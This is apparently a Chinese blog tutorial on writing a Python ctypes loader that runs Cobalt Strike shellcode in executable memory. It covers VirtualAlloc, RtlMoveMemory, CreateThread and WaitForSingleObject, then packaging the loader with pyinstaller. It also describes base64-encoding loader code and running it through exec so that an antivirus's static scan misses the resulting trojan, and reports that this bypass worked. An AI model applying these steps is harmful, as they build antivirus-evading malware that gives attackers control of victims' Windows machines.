基于python的shellcode&loader初探
shellcode和loader
shellcode是一段用于利用软件漏洞而执行的代码
shellcodeloader是用来运行此代码的加载器
简单来说,shellcode和loader组成了一把完整的枪,前者是子弹,后者是枪身
shellcode
一般来说我们可以用cs直接生成payload,这里我是选择以python为特定编程语言的代码
1 | # length: 891 bytes |
这一长串\xfc样式的hex代码,就是shellcode,这里shellcode的具体原理暂且不谈,光有子弹不行,还要有枪身所以我们需要一个加载器Loader才能让他发挥作用
loader加载器
和前面一样shellcode的具体原理一样暂且不谈,这里只谈怎么用。
同现实的枪一样,手枪其实构造大差不差,除开左轮枪其他的样子都差不多,shellcodeloader也一样,我们只需要在网上找个demo来用就行
1 | import ctypes |
ctypes库
上述demo中导入了ctypes模块,python的ctypes模块是内建,用来调用系统动态链接库函数的模块
使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数(因为windows系统是用c++其余部分由C和汇编编写的,c和c++一定程度上兼容,所以导入此模块)
读取shellcode
1 | shellcode = bytearray('\xfc\x48.........') |
设置返回类型
我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同
想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位
1 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 |
申请内存
调用VirtualAlloc函数,来申请一块动态内存区域。
1 | VirtualAlloc函数原型和参数如下 |
申请一块内存可读可写可执行
1 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), |
参数解释:
ctypes.c_int(0):是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode)): 以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000):是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40):是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。
将shellcode载入内存
调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
RtlMoveMemory函数原型和参数如下
1 | RtlMoveMemory(Destination,Source,Length); |
从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大
1 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) |
创建进程
调用CreateThread将在主线程的基础上创建一个新线程
CreateThread函数原型和参数如下
1 | HANDLE CreateThread( |
创建一个线程从shellcode放置位置开始执行
1 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), |
参数解释:
lpThreadAttributes:为NULL使用默认安全性
dwStackSize:为0,默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress: 为ctypes.c_uint64(ptr),定位到申请的内存所在的位置
lpParameter: 不需传递参数时为NULL
dwCreationFlags: 属性为0,表示创建后立即激活
lpThreadId: 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL
等待线程结束
调用WaitForSingleObject函数用来检测线程的状态
WaitForSingleObject函数原型和参数如下:
1 | DWORD WINAPI WaitForSingleObject( |
等待创建的线程运行结束
1 | ctypes.windll.kernel32.WaitForSingleObject( |
这里两个参数,一个是创建的线程,一个是等待时间,当线程退出时会给出一个信号,函数收到后会结束程序。当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
loader原理:申请一块内存,将shellcode写入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。
写一个小demo进行打包
1 | import ctypes |
静态免杀
以上demo已经初具成型,但是我们最终还要打包为exe(独立可执行文件)文件,才能在windows系统上线,所以这里我们可以用pyinstaller工具
安装
1 | pip install pyinstaller |
然后输入打包命令
前者为文件名,后者加密密钥自己设置
1 | pyinstaller -F xxx.py --key password |
这个时候如果电脑装有一些杀毒软件的话,但你的马并没做免杀,那么打包还未完成就会提示这个
(如果用上述第一个demo基本就会是这种结果)
所以我们就需要进行一些改造
改造方法
很明显马由shellcode和loader组成,那么我们就主要从这俩方面入手
一般来说有加解密和编码shellcode还要改造loader,但为了简单入门,从loader入手
在第一个demo中,存在一段代码
1 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))) |
我们如果将其进行base64编码,并将编码后的内容用python内置函数eval或者exec进行调用
1 | #ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))) |
(上述例子其实并不是这么单个操作,有多处编码后就行了,我只是举个例子)那么就能绕过火绒静态查杀
但之后上线时就被杀了,之后还要研究下过动态查杀。
这里把火绒退了,直接上线cs,一切正常